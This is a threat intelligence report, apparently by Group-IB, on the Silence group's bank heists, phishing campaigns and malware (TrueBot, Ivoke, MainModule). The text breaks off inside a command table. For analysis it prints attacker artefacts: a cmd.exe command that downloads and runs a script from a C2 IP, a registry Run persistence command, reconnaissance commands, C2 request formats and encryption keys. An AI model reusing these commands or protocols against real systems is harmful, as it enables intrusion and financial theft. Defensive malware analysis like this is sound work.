SILENCE 2.0

GOING GLOBAL

AUGUST 2019
# TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Introduction</td>
<td>2</td>
</tr>
<tr>
<td>Expanded attack geography</td>
<td>3</td>
</tr>
<tr>
<td>Attack preparation</td>
<td>5</td>
</tr>
<tr>
<td>Tactics and key attack tools</td>
<td>8</td>
</tr>
<tr>
<td>Attack timeline: from Russia to Latin America</td>
<td>10</td>
</tr>
<tr>
<td>Attack on Dutch-Bangla Bank</td>
<td>14</td>
</tr>
<tr>
<td>Attack on IT BANK</td>
<td>16</td>
</tr>
<tr>
<td>Changes in tools</td>
<td>19</td>
</tr>
<tr>
<td>Downloader aka TrueBot</td>
<td>20</td>
</tr>
<tr>
<td>Ivoke</td>
<td>23</td>
</tr>
<tr>
<td>MainModule aka Silence</td>
<td>25</td>
</tr>
<tr>
<td>EDA</td>
<td>31</td>
</tr>
<tr>
<td>xfs-disp.exe</td>
<td>32</td>
</tr>
<tr>
<td>FlawedAmmyy analysis and its comparison with Silence.Downloader</td>
<td>38</td>
</tr>
<tr>
<td>IoCs</td>
<td>53</td>
</tr>
<tr>
<td>Suricata</td>
<td>–</td>
</tr>
<tr>
<td>YARA</td>
<td>–</td>
</tr>
</tbody>
</table>

**List of sources**                                                     **58**

Register for a free product tour to test drive all the benefits of Group-IB Threat Intelligence and receive the full version of the report by contacting us through intelligence@group-ib.com.
INTRODUCTION

Three years ago, a young, motivated Russian-speaking cyber criminal group started targeting the financial sector. Early on, Silence showed signs of immaturity in their TTP by making mistakes and copying practices from other groups. Now, Silence is one of the most active threat actors targeting the financial sector. Since we released our original report, *Silence: Moving into the darkside*, the confirmed damage from Silence’s operations has increased fivefold compared to the figures in Group-IB’s initial report.

As of August 2019, the confirmed amount of funds stolen by Silence from June 2016 to June 2019 is at least 4.2 million US dollars.

Silence started by targeting organizations in Russia, gradually shifting their focus to former Soviet countries, and then the world. Over time, the group expanded its geography, which has attracted the attention of cybersecurity researchers.

This attention has lead Silence to grow more cautious and increase their OpSec (operational security). Silence has made a number of changes to their toolset with one goal: to complicate detection by security tools. In particular, they changed their encryption alphabets, string encryption, and commands for the bot and the main module. In addition, the actor has completely rewritten TrueBot loader, the first-stage module, on which the success of the group’s entire attack depends. The hackers also started using Ivoke, a fileless loader, and EDA agent, both written in PowerShell. Silence has also made a move to including fileless modules in their arsenal, albeit much later than other APT groups, suggesting that the group is still playing catch-up compared to other cybercriminal groups.

Group-IB analysts have identified similarities between Silence.Downloader and FlawedAmmyy.Downloader, which is believed to be linked to attacks by TA505. Both of these programs seem to have been developed by the same individual.

**Silence 2.0: Going Global** is an extension of our original report: *Silence: Moving into the Darkside* which remains the most significant contribution to the research on the group and is the first such report to reveal Silence’s activity. Our new report encompasses events that occurred between May 2018 and 1 August 2019 and contains a comprehensive description of modern TTP.

To help with proper attribution and prevent new incidents this report contains sections for technical specialists and analysts to help study the Tactics, Techniques and Procedures (TTP) and tools employed by Silence. Suricata, YARA and other detailed technical information is only available to Group-IB Threat Intelligence customers.

Silence is still playing catch-up: they are adopting the approaches of other groups, all the while modifying older tools and trying out new ones.
Prior to April 2018, as described in Group-IB’s *Silence: Moving into the darkside* report, Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan. Some campaigns, however, did express initial interest in more than 25 other countries in Central and Western Europe, Africa, and Asia, including Kyrgyzstan, Armenia, Georgia, Serbia, Germany, Latvia, Czech Republic, Romania, Kenya, Israel, Cyprus, Greece, Turkey, Taiwan, Malaysia, Switzerland, Vietnam, Austria, Uzbekistan, Great Britain, Hong Kong, and others.

In the last successful attack described in *Silence: Moving into the darkside*, dated April 2018, the hackers siphoned off about $150,000 through ATMs in a single night.

Since the report’s release in September 2018, Group-IB’s Threat Intelligence team has detected 16 campaigns targeting banks launched by Silence.

According to Group-IB’s research, in 2019, Silence has infected workstations in more than 30 countries with IP addresses in the following countries having communicated with Silence CnC infrastructure: RU, PL, US, FR, BZ, KG, CA, CR, MX, GB, CZ, MD, CH, KR, BD, CN, RO, BG, JM, AG, TW, IN, SE, FI, LU, PA, CL, UA, LV, NO, SC, DE, TR, SG, LK, GH and NL.
ATTACK PREPARATION

Like the majority of APT groups, Silence uses phishing as their infection vector. Now, however, their campaigns are carried out in two stages. In 2018, Silence conducted test campaigns to update their database of current targets and expand their attack geography. The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of **up to 85,000 users.**

These “recon” emails are a preparatory stage for a large-scale campaign and their purpose is to receive an updated list of emails as well as obtain information about current cybersecurity solutions the targeted company uses.

This step helps create an up-to-date “target” list of active email addresses that can be used for further attacks.

Silence has conducted at least three campaigns using recon emails, followed by malicious mail sent to an updated recipient list. These campaigns were no longer focused just on Russia and former Soviet countries, but spread across Asia and Europe. Group-IB has also detected recon emails sent out to New Zealand. Since our last public report, Silence has sent out **more than 170,000 recon emails** to banks in Russia, the former Soviet Union, Asia and Europe. The mails were not customized, however, and were likely used to have a clean list of target recipients for future campaigns.

An example of an email used by Silence during the recon stage of a previous campaign:

```
From: "Admin" <info@bankuco.com>
Bounce address: return@bankuco.com
Reply-To: info@bankuco.com

This message was created automatically by the mail system (eclerility).

A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed:

Click here to unsubscribe
```
Recon Campaigns in Asia

In November 2018, Silence tried their hand at targeting the Asian market for the first time in their history. In total, Silence sent out about 80,000 emails, with more than half of them targeting Taiwan, Malaysia, and South Korea.

Chart 1 shows the distribution of email recipients by country in descending order:

![Attack preparation: distribution of Silence's recon emails among Asian countries](chart)
Recon Campaigns in Russia and the former Soviet Union

Recon campaigns carried out in Russia and the former Soviet Union were also as large. From **16 October 2018 to 1 January 2019**, Silence sent out about **84,000 emails** in Russia alone to update their address database. In the former Soviet Union, the attackers targeted banks in Kyrgyzstan, Kazakhstan, and Ukraine.

European Recon Campaigns

Silence’s European Recon campaign involved the smallest number of email addresses. On October 18th, 2018, the group sent out emails to British financial companies as part of their preparatory campaign. In total, **less than 10,000 emails** without malicious contents were sent to recipients in UK banks.
TACTICS AND KEY ATTACK TOOLS

STAGES

Contact database check

Mail-out to valid addresses

Infection of the victim's computer

Persistence in the system

Lateral movement

Attack execution

0

1

2

3

4

5

Contact database check

Mail-out to valid addresses

Infection of the victim's computer

Persistence in the system

Lateral movement

Attack execution

- .ink
- .chm
- macro
- exploit

- Silence.Downloader
- Ivoke
- CnC-1 (Linux-based), the operator manually sends a command to download the second module

- Silence.MainModule
- Silence.ProxyBot
- Silence.ProxyBot.NET
- CnC-3 (Windows-based)

- Farse
- EDA
- Winexe
- Sdelete
- CnC-4 (Kali Linux)

- ATMs
- Card processing
- Atmosphere
- xfs-disp.exe
With the important exception of the above-mentioned recon emails, Silence's tactics have remained largely the same. As part of their phishing campaigns, the group still uses Microsoft Office documents with macros or exploits, CHM files, and .LNK shortcuts as malicious attachments.

If the initial infection is successful, a primary loader called Silence.Downloader (aka TrueBot) is installed on the system. In 2019, Group-IB also observed the use of a new fileless PowerShell loader called Ivoke. Primary loaders are designed to collect information about an infected system and send it to an intermediate CnC server. The operators of such servers then decide whether to send a command to load the next stage manually. The primary loader receives a link to the next stage in the form of a command and launches it. The primary loader used by Silence has significantly evolved and is described in detail in the Changes in Tools section.

The Silence.Main Trojan, which is the main stage of the attack, has a full set of commands to control a compromised computer. As the CnC server, the attackers use CnC-3 server running Windows, from which they send commands to download additional modules. The main Trojan has been modified as well and the changes are described in detail in the Changes in Tools section.

In recent attacks, Silence has started to download a PowerShell agent that is based on the open-source projects Empire (https://github.com/EmpireProject/Empire) and dnscat2 (https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1). In the chart, the CnC server of this program is designated CnC-4. The new Trojan, which we have dubbed EmpireDNSAgent or simply EDA, is described in the Changes in Tools section.

In addition, the group downloads the reverse proxy programs Silence.ProxyBot and Silence.ProxyBot.NET, which are described in detail in the report Silence: moving into the darkside. Both of these programs also use the same CnC-3 server as the backconnect server. No significant changes have been made to these programs, which is why they are not described in this report.

The group continues to use winexe, sdelete, and Farse for lateral movement across networks. For more details about these tools, refer to Silence: moving into the darkside.

To control ATMs, the group uses the Atmosphere Trojan, which is unique to Silence, or a program called xfs-disp.exe. No significant changes have been made to Atmosphere. For more details about it, please refer to Silence: moving into the darkside. xfs-disp.exe is described in the Changes in Tools section.
ATTACK TIMELINE: FROM RUSSIA TO LATIN AMERICA

This report covers events from May 2018 through 1 August 2019. During this time, Silence increased their attack frequency. The arrests of their money mules in Bangladesh did not slow the group down, and the hackers continued to expand their geography.

- **28 May 2018** – Group-IB specialists tracked a massive mailout of emails containing a malicious Microsoft Word attachment titled “Договор.doc” [Contract.doc]. The malicious email was drafted in Russian. Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability. The exploit installs Silence’s loader, designed to download backdoors and other malicious programs.

- **August 2018** – A bank in India was successfully attacked.

- **16 October 2018** – Silence conducted a malicious campaign targeting Russian banks, with the emails sent from info@bankuco.com.

- **18 October 2018** – Silence launched a test mailout targeting financial companies in the UK.

- **18 October 2018 (same day)** – Silence sent emails to Russian banks. The attackers managed to conduct this campaign while impersonating a real bank due to the lack of SPF settings on the side of the financial institution in question.

- **25 October 2018** – Silence sent out emails to Russian banks. As before, the messages were sent from info@bankuco.com. The text referred to the opening and maintenance of a correspondent account and was sent under the name of a non-existent bank.

- **15 and 16 November 2018** – Silence conducted a massive phishing campaign posing as the Central Bank of the Russian Federation. Needless to say, the Central Bank had nothing to do with this mailout. Group-IB specialists have established that the aim of the attack was to deliver and launch the second stage of Silence’s Trojan, known as Silence.MainModule.

- **20 November 2018** – Silence conducted the first stage of their Asian campaign, organising a massive phishing attack aimed at receiving an up-to-date list of current recipients in different countries for further targeted attacks delivering their malicious software.

- **25 and 27 December 2018** – A new malicious mailout from Silence was carried out. It was carried out from the pharmkx[,]group and cardisprom[,]ru domains. In the first case, the email contained two files: "Макет дизайна дебетовой карты.doc" [Debit card design layout.doc] and "Макет дизайна дебетовой карты.zip" [Debit card design layout.zip].

- **4 January 2019** – Silence attacked financial organisations in the UK. The distributed file was signed with a valid signature of SEVA MEDICAL LTD, a UK medical company.

- **16 January 2019** – For the first time in their history, Silence disguised a malicious attachment
as an invitation to the international financial forum iFin-2019. The email had a ZIP-archive attached, which contained an invitation to the banking forum and the Silence.Downloader (TrueBot) malware.

- **February 2019** – Silence successfully attacked another Indian bank.
- **February 2019 (same month)** – Silence successfully withdrew money from Omsk IT Bank in Russia. According to public sources, the amount of stolen funds was 25 million roubles (around 400,000 US dollars).
- **21 May 2019** – Emails were sent out purporting to be from a bank’s client with a request to block a card. It was the first time Silence used the Ivoke backdoor, a completely fileless Trojan, in their attacks.
- **31 May 2019** – Seven men wearing masks withdrew cash from the ATMs of Dutch-Bangla Bank in Bangladesh. According to open sources, the group stole about $3 million.
- **6 June 2019** – Silence configured a new server for their attacks.
- **20 June 2019** – The group conducted a new attack on banks in Russia.
- **July 2019** – Banks in Chile, Bulgaria, Costa Rica and Ghana were successfully attacked. The attackers used the server deployed on 6 June 2019 to control compromised workstations in these banks. A new Trojan named EDA (Empire DNS agent), which is based on the Empire and dnscat2 projects, was detected in the attacks.
TOOLS AND ATTACKS FROM JUNE 2016 TO JUNE 2019
Silence: Moving into the darkside

Silence 2.0: Going global

The attack timeline shows only attacks with identified victims and confirmed damage.
ATTACK ON DUTCH-BANGLA BANK

On 24 March 2019, Silence.ProxyBot (MD5 2fe01a04d6beef14555b2cf9a717615c) was uploaded to VirusTotal from an IP address in Sri Lanka. The backconnect address for the program was 185.20.187.89. Later, the main Silence backdoor (MD5 fd133e977471a76de8a22ccb0d9815b2) was uploaded; it used the same address for the CnC server.

Group-IB experts established that the server 185.20.187.89 started functioning no later than 28 January 2019. Communication with the IP addresses which belonged to Dutch-Bangla’s infrastructure started no later than 16 February 2019. It is worth emphasising that communication with the main backend occurs only if the Silence.MainModule main backdoor is successfully installed by the operator. This excludes the possibility that connections to the main backend are performed from sandboxes (a class of anti-APT solutions designed to analyse malicious files in an isolated environment).

According to local media1, on 31 May 2019, at 23:30 local time, unidentified individuals wearing medical masks started withdrawing money from the ATMs of Dutch-Bangla Bank. According to the local media reports, money mules (individuals engaged by hacker groups to withdraw money from ATMs) have used Dutch-Bangla Bank cards for illegitimate cash withdrawals twice. In the first incident, they used them outside of Bangladesh, according to the media reports.

In the second incident, reported by the media, money was stolen from a Dutch-Bangla ATM in Dhaka, which was recorded by CCTV cameras. The video2 is available on YouTube. It is interesting to note that the cash withdrawal occurred in the presence of an ATM security guard. The recording shows the faces of the mules. According to local media reports, in 2019 Silence successfully withdrew money from the Bangladeshi bank twice within 2 months.


Photo: Prothom Alo
Thanks to the fact that the final stage of the attack (cash withdrawal by money mules) was recorded on video, the local police were able to quickly detain the suspects. As reported by the media, they turned out to be six Ukrainian citizens:

- Dennis Vitomeski, 20
- Nazari Vojnok, 19
- Valentine Sokolovski, 37
- Sergei Ukrainetz, 33
- Oleg Shevchuk, 46
- Valodimir Trushinski, 37

As media reports suggest, only one suspect, a 31-year-old man, managed to escape. According to law enforcement reports, the money mules arrived in Bangladesh from Turkey on 30 May 2019 and were going to fly from the country to India on 6 June 2019.

**Dutch-Bangla Bank: two attack vectors**

According to the official statement by Abul Kashem Mohammad Shirin, Chief Executive Officer, MD & Director at Dutch-Bangla Bank, the money withdrawal took place from ATMs but did not leave any traces of transactions in the bank's systems. This suggests that a third party may have controlled the ATM dispenser remotely.

**First vector: attack on ATMs.** The CCTV footage shows that the money mules making phone calls before withdrawing money. After each call, a third party sent a command to dispense money to the mules. To do this, the actor may have used a unique tool called Atmosphere, a Trojan developed by Silence to remotely control ATM dispensers, or a similar program called xfs-disp.exe, which the actor may have used in their attack on IT Bank. Throughout the group's observed activity, the Atmosphere Trojan has been modified to meet Silence's requirements. In the vast majority of their attacks, the group has used this particular well-developed tool for the purpose of theft.

**Second vector: attack on card processing.** After the high-profile incident in Bangladesh, a number of media outlets reported that funds were also stolen from Dutch-Bangla ATMs in Cyprus, Russia and Ukraine. This indicates that attacks may have been carried out by compromising card processing.

As we described in *Silence: Moving into the darkside* report, Silence has experience with theft using compromised card processing systems. In such cases, the hackers are capable of withdrawing much larger amounts, with more security ensured for the money mules. However, if the attackers had used this method of stealing money from Dutch-Bangla Bank, the mules would not have had to fly to Bangladesh and make calls to a third person. This means that either the information about cash withdrawals in other countries might be incorrect, the same bank was also attacked by another hacker group, or Silence used both methods in this incident.

In any of these scenarios, the number of withdrawals, as well as the amount of stolen money, may be much larger. At the moment, the confirmed damage from this attack as reported by local media is around $3 million.
In February 2019, Russian media reported a Silence attack on IT Bank in the city of Omsk. The information available to Group-IB experts suggests the following chain of events.

On 16 January 2019, Silence sent out phishing emails with malicious attachments disguised as invitations to the International Financial Forum iFin-2019 (see section 'Attack timeline'). Interestingly, the XIX International Forum iFin-2019 “Electronic Financial Services and Technology” took place in Moscow on 19 and 20 February 2019, which was announced by the organisers at around 9 am Moscow time on 16 January. In just a few hours, Silence sent out their invitations. The campaign purported to be from Forum iFin-2019, but used the address info@bankuco.com and the mail server mail1.bankuco.com mail1.bankuco.com 46.30.41.232. Textual matches indicate that the attackers used a modified text of the official invitation.

The email attachment contained a ZIP archive named Priglashenie.zip [Invitation.zip] (MD5 a175e302ff02830bb7e6b24f18857c730). The archive was created on 15 January 2019 at 10:43:18. It contains a Microsoft help file named "Приглашение на конференцию 13012019.chm" [Invitation to the conference 13012019.chm] (MD5 08ae8fe12d89a1aaf6b1ee777677f7d1).
Once the CHM file is opened, the cmd.exe command interpreter is launched with the parameter:

```
C:\Windows\System32\cmd.exe /c copy C:\Windows\%ALLUSERSPROFILE:~9,1%\cmd.exe %appdata% \dmw.exe /Y && echo 3 >> %appdata%/dmw.exe && %appdata%/dmw.exe /c start %ALLUSERSPROFILE:~9,1%\%ALLUSERSPROFILE:~8,1% "http://185.70.186[.]146/%ALLUSERSPROFILE:~4,4%.php"
```

As a result, a VB script called rogr.php (MD5 14732e82a6cbdb108c40540314b29ee3) will be downloaded from http://185.70.186[.]146/rogr.php and executed.

Once launched, the VB script rogr.php performs the following actions:
1. Creates a directory %APPDATA%\[knytaqojwv][6]
2. Drops the "certificate" http://185.70.186[.]146/nc-bank.crt named %APPDATA%\[knytaqojwv][6]\[knytaqojwv][6].tmp to the created directory
3. Decodes base64-encoded contents of the "certificate" %APPDATA%\[knytaqojwv][6]\[knytaqojwv][6].tmp and saves them to %APPDATA%\[knytaqojwv][6]\[knytaqojwv][6]2.tmp, which also imitates a certificate
4. Decodes base64-encoded contents of the "certificate" %APPDATA%\[knytaqojwv][6]\[knytaqojwv][6]2.tmp and saves them to %APPDATA%\[knytaqojwv][6]\[knytaqojwv][6].com, which is an executable file

nc-bank.crt aka %APPDATA%\[knytaqojwv][6]\[knytaqojwv][6].tmp (MD5 51f1b893b72821c59556b8c9958eb4a4)
%APPDATA%\[knytaqojwv][6]\[knytaqojwv][6].com aka C:\ProgramData\WIN7Z\wsus.exe - Silence.Downloader aka TrueBot (MD5 edf59a111ccee8ea1d09a2b4e8febfdf)
CnC 185.70.187[.]188

Group-IB also detected emails sent out from the domains bankical[.]top, bankusr[.]ru, ccrbank[.]ru, and fpbank[.]ru as part of the campaign. Some of the emails were disguised as urgent requests to open a correspondent account:

```
Добрый день!

9. Грацина, Дмитрий Федорович,

Начальник отдела межбанковских операций и корреспондентских отношений ЗАО "Банк ICA".

Приглашаем Вас к принятию заявки о заключении договора на прием и обслуживание корреспондентского счета.

Прилагаем кратчайшие сроки рассмотреть заявку на открытие и обслуживание корреспондентского счета.

Договор прилагается в районе и просьба о его заключении.

Заранее Вам благодарим, жду ответа.

С уважением,
9. Грацина, Дмитрий Федорович
Грацина Дмитрий Федорович
450044 Россия
Челябинская область, город Магнитогорск, ул. Гагарина, дом 25

Отправить письмо нашему отпраvителю | Отправить ответ на письмо | Отправить ответ всем | Отправить письмо позднее | Показать вложения | Просмотр письма

12296

```
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails. This suggests that these emails were likely used as an entry point for the attack.

On 25 February 2019, the program xfs-test.exe, which was compiled on 10 February 2019, was manually uploaded to VirusTotal from a Russian IP address using the web interface. This program is designed to send commands directly to ATM dispensers, which results in all available cash being dispensed. The program contains a path to the debug information C:\_bkittest\dispenser\Release_noToken\dispenserXFS.pdb. The folder name bkittest could be an abbreviation of “Bank IT test”, and links the file with the attack on IT Bank.

Two days after the compilation, information about the theft from IT Bank’s ATMs appeared in the media. As a result of this attack, the bank lost about $400,000.
CHANGES IN TOOLS

The report titled *Silence: Moving into the Darkside*, which was released in 2018, provided a detailed analysis of the entire toolset used by the Silence group. This section describes the dynamics of changes in the toolset after May 2018: some programs have remained the same, while others have been modified to bypass security systems more successfully. In addition, new tools have appeared.

**New tools:**

1. The Ivoke loader, written in PowerShell, is the first fileless module used by Silence. It is interesting to note that they started using fileless tools later than other groups. This confirms that Silence has spent their evolution “catching up”: they first studied the approaches of other groups, and then customised them.

2. EDA is a PowerShell agent based on the Empire and dnscat2 projects. The program is designed to control compromised systems by performing tasks through the command shell and tunneling traffic using the DNS protocol. This program was first discovered in March 2019.

3. xfs-disp.exe is a Trojan for attacking ATMs, which was allegedly used in the attack on IT Bank.

**Changes:**

1. The execution logic of Silence.Downloader and Silence.Main, as well as the commands executed by bots, have changed.

2. Encryption has been added to the Silence.Downloader loader.

3. The communication protocol between the CnC server and Silence.Main has been changed.

---

**Link between Silence.Downloader and FlawedAmmy**

A comparative analysis of Silence.Downloader and the FlawedAmmy loader revealed that these programs were developed by the same person.

It is important to note, however, that a link between Silence and attacks using FlawedAmmy has not been confirmed: the infrastructure and the techniques of the attacks in these cases differ greatly.

The FlawedAmmy.Downloader has been observed in attacks on different targets in various regions. Some researchers emphasise that the TA505 group also uses this tool to conduct their operations.

The tools that have remained the same are ProxyBot, ProxyBot.NET, and Atmosphere.
Downloader aka TrueBot

The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine. The web address at which the executable file is located is sent by the CnC server following a manual command from the operator, which means it cannot be obtained from a sandbox.

The first sample of Silence.Downloader was detected in August 2017 (SHA1 2ee8ee6d8ca6e815d654bb96952861f3704e82e9). The new version of the loader (SHA1 974f24e8f87e6a9ccce7c6873954ecab50ffa6f92) was discovered in Q3 2018. Its functionality was significantly modified in order to more effectively bypass sandboxes and network security solutions:

• Removed mutex creation;
• Changed the list of drive letters for generating bot ID;
• Changed the algorithm for generating the identifier of an infected machine;
• Added features for collecting and transferring data about an infected machine;
• Added data encryption. Communication with the CnC server is encrypted, but not completely. Information about the infected machine is transmitted in clear text;
• Changed the paths for saving files;
• Changed the algorithms for generating file names;
• Changed the URLs for sending requests;
• Changed the list of supported commands. The new version only supports downloading and running executable files.

Like previous versions, Silence.Downloader contains a large number of function calls that do not affect the program’s control flow. The application starts operating with a delay of 2.5 seconds. Following this, it attempts to open the %APPDATA%\temps.dat file.

Should the file in question be absent in the file system, information about the infected machine will be collected. The necessary information is gathered by executing commands in the cmd.exe command line interpreter. The output is forwarded to a file located in the following path: %APPDATA%\temps.dat.

A list of system information collected:
1. List of running processes
2. Information about current remote desktop sessions
3. Information about network adapters (IP address, subnet mask, gateway address)
4. Computer name
5. Infected machine ID
An example of commands used to collect information of interest is presented below:

```
cmd /c tasklist >> %APPDATA%\temps.dat
cmd /c qwinsta >> %APPDATA%\temps.dat
cmd /c ipconfig >> %APPDATA%\temps.dat
cmd /c hostname >> %APPDATA%\temps.dat
```

Machine ID is calculated based on the serial number of one of the disk partitions (the first partition that it will be able to receive): "C", "D", "E", "F", or "Z". If there are no partitions with the above-mentioned letters on the infected computer, the constant 0x9A449F is used as a serial number. To calculate the ID, the application adds the serial number to the integer constant 0x862937.

Collected information is transmitted using a POST request to the address 185.70.186[.]149/dns_check/logs/logpc.php. Data about the infected machine is transferred in plain text. The POST requests have the following format:

```
------qwerty
Content-Disposition: form-data; name="program"

<BOTID>
------qwerty
Content-Disposition: form-data; name="file"; filename="%APPDATA%\temps.dat";
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

<COLLECTED_INFO>

------qwerty--
```
In the event that the file %AppData%\temps.dat is present in the file system, the application copies itself to the startup folder. This is performed by executing a command in the cmd.exe command line interpreter. The command text is encrypted using the PikeJaXyeUawuma key (the decryption algorithm is BASE64 → URL → RC4 → URL). After decrypting the data, the following command will be available:

```
/C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinNetwork Security" /t REG_SZ /d "%s" /f
```

Ensuring persistence in the system depends on the availability of the process avp.exe. If this process is absent from the system, the application will copy itself (provided there is no file) to the path %PROGRAMDATA%\svconhost.exe, and delete the alternative data stream in the path %PROGRAMDATA%\svconhost.exe:Zone. Identifier. If the process in question is present, the application will add the current location to autostart.

Once the information about the infected system has been collected or the attacker has ensured persistence in the system, the application switches to a standby mode, waiting for further commands. To do this, it creates a GET request, in which the following data is transferred: infected machine ID, operating system version and bitness. Once the required data is received, the following string will be generated:

```
n=<botid>&o=<OS_VERSION>&a=<PROC_ARCH>
```

A description of the parameters passed is presented below:

- The botid parameter is the infected machine ID
- The OS_VERSION parameter has one of the following values:
  - UNKN
  - 2000
  - XP
  - S2003
  - VISTA
  - S2008R2
  - S2008
  - WIN7
  - WIN8
  - WIN81
  - WIN10
- The PROC_ARCH parameter takes one of the following values:
  - 64
  - 32
The generated string is encrypted using the key \textit{FKh23yu7T*^@#} and sent to the address 185.70.186[.]149/dns_check/dns.php?dns=<ENC_STR>. The data encryption algorithm is URL → RC4 → URL → BASE64.

The program sends the above-mentioned request to the server with an interval of 2 minutes. In response, the server will send a command. The key used for decryption is \textit{FKh23yu7T*^@#}. Processing messages from the server begins only if the message is longer than 10 characters.

If the decrypted string starts with "http://", the payload will be loaded from the server. The received content is saved to a file called \texttt{%APPDATA%\[0-9a-f\]{8}.dates}. The file name, which is generated randomly, is a four-byte number written in hexadecimal. The Windows API function CoCreateGUID() generates a unique 128-bit number.

The output is written to the GUID structure. The application uses only a part of the fields in this structure. As a result, the number will be calculated using the following formula: GUID.Data1 * GUID.Data2 - GUID.Data3 + 0xCB6. A formal definition of the GUID structure is presented below:

```c
typedef struct _GUID {
    DWORD Data1;
    WORD  Data2;
    WORD  Data3;
    BYTE  Data4[8];
};
```

The received data is encrypted using the \textit{jgsi23894uhnfjusiof} key. After decryption, the data is written to the file \texttt{%APPDATA%\ CHROME-[0-9a-f][8].exe}. To generate four-byte numbers, the CoCreateGuid() function is used too.

In this case the formula differs from the previous version and is as follows: GUID.Data1 * GUID.Data2 - GUID.Data3 + 0xD435. Once the data are decrypted and written to the file, the encrypted version of the file (\texttt{%APPDATA%\[0-9a-f\]{8}.dates}) will be deleted. If the decrypted file starts with "MZ", the application will launch it.

\textbf{Ivoke}

The Ivoke backdoor is a completely fileless Trojan. Its main task is to collect information about the infected system and load the next stage upon command from the CnC server.

On 21 May 2019, a malicious email campaign was launched. The emails purported to be from a bank customer and contained a request to block a bank card. The messages were used to deliver an encrypted 7z archive called Novikov.7z (SHA1 e22d5170981b8150dd08eda9b7eca7f5317247af). The archive contains a shortcut named Statement_180619.docx.lnk (SHA1 4d0d5ecaea133dbcc603119a5271796bfe371036).

The shortcut runs MSHTA.exe, which launches the cmd.exe command interpreter. The command interpreter launches powershell.exe, downloads a remote PowerShell script located

The text of the email, and the use of legitimate email servers and an .LNK file, may indicate that
the Silence criminal group is responsible for the campaign. In addition, the server 193.109.69[.]5
was leased from Hostkey, a service provider which is often used by this group.

To download ReconModule, a backdoor designed to perform initial reconnaissance, the threat
actor uses the following header:

```plaintext
User-Agent: M/5.18
```

The .LNK shortcut downloads and executes the PowerShell script txt.ps1 (SHA1
f858c23c03a598d270eba506f851fb14685809fd), which is responsible for collecting system
information and loading the next stage. Unfortunately, the next-stage module has not been
detected. Txt.ps1 is a PowerShell script that is tracked as the APT.Silence.Ivoke.ps backdoor. The
script operates as Silence.Downloader. The backdoor is not stored on disk and is hosted in
memory.

```powershell
 PS C:\Users\User\> <powershell script>
```

Once launched, the program registers on the CnC server at http://193.109.69[.]5/gggm/book.php
by sending a POST request. The request contains the compromised system’s information in the
following format:

```
info|<OS major version number>|<OS minor version number>|<OS build number>|<PID>|<OS major
version number>|<OS minor version number>|<OS minor version number>|<OS major
version number>|<OS minor version number>|<OS minor version number>|0|<computer name>|<user
name>|<0 - if a 32-bit version, 1 - if a 64-bit version>

Example: info|6176011233|6|1|1|0|Computer-NAME|User-name|0
```
The string `<OS major version number><OS minor version number><OS build number><PID>` is used as a bot ID. Following this, every 25 seconds, the program sends POST requests to the CnC server to obtain the second stage:

```
ping|<OS major version number><OS minor version number><OS build number><PID>
Example: ping|6176011233
```

If the server responds with the string `doneyyyyyyyyaa`, the process will be terminated, because the machine is not one which the attacker is interested in. Otherwise, the server will send a base64-encoded response, which will be decoded, saved and executed to the directory `%TEMP%\<OS major version number><OS minor version number><OS build number><PID>.exe`.

**MainModule aka Silence**

This program is designed to remotely control a compromised system and is capable of downloading and running files from remote network nodes, executing commands in the command shell, and uploading local files to the CnC server. The following versions of the program were compared:

- an intermediate version (SHA1 c59cb38bcada36d8c7a671642146ff39f1f49693), discovered in November 2018;
- the latest version (SHA1 1477b18e917c295df9b3c5624e91057999a3f2b6) used in the attacks in early 2019;
- earlier versions of Silence.MainModule 2017 (taken into account only in the comparative table at the end of the chapter).

**Description and functionality of the 2019 version**

Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server.

Compared to the samples from 2017, the intermediate version had a new command added for sending files from a compromised system to the CnC server. At the end of 2018, the developers changed the method of command spelling: they stopped using Russian words typed in the English layout.

Network communications are performed using unencrypted connections via HTTP and GET requests. The first request (`<request1>`) is sent to the CnC server in the following format:

```
http://<cnc>/showthread.php?yz=1
```

Example of a request: "http://185.29.10[...]/showthread.php?yz=1"
In response, the CnC server sends <response1>, which, according to the debug information in the file, is the identifier of the client.

```
GET /shorthread.php?yz=1 HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Host: 185.29.10[.]26
Connection: Keep-Alive
```

HTTP/1.1 200 OK
Content-Type: Tex/ascii
Date: Thu, 29 Nov 2018 22:23:08 GMT
Connection: keep-alive
Transfer-Encoding: chunked
1543530188357

The path to the script and the names of the yz= and User-Agent parameters can change to make it difficult to detect communication using traffic analysis tools.

Following this, the file sends a second request (<request2>) to the CnC. This looks as follows: 

Пример:

```
GET /shorthread.php?yz=2&alphayz=1543530188357 HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)
Host: 185.29.10[.]26
Connection: Keep-Alive
```

HTTP/1.1 200 OK
Content-Type: Tex/ascii
Date: Thu, 29 Nov 2018 22:23:08 GMT
Connection: keep-alive
Transfer-Encoding: chunked
loïkjhu
In response, CnC sends one of the supported commands. The tables below contain lists of connection types and CnC commands that the malware executes.

<table>
<thead>
<tr>
<th>Type of connection</th>
<th>Description</th>
<th>Example of client request to CnC</th>
</tr>
</thead>
<tbody>
<tr>
<td>Connect1</td>
<td>Bot registration</td>
<td><a href="http://185.29.10%5B.%5D26/showthread.php?yz=1">http://185.29.10[.]26/showthread.php?yz=1</a></td>
</tr>
<tr>
<td>Connect2</td>
<td>Command request</td>
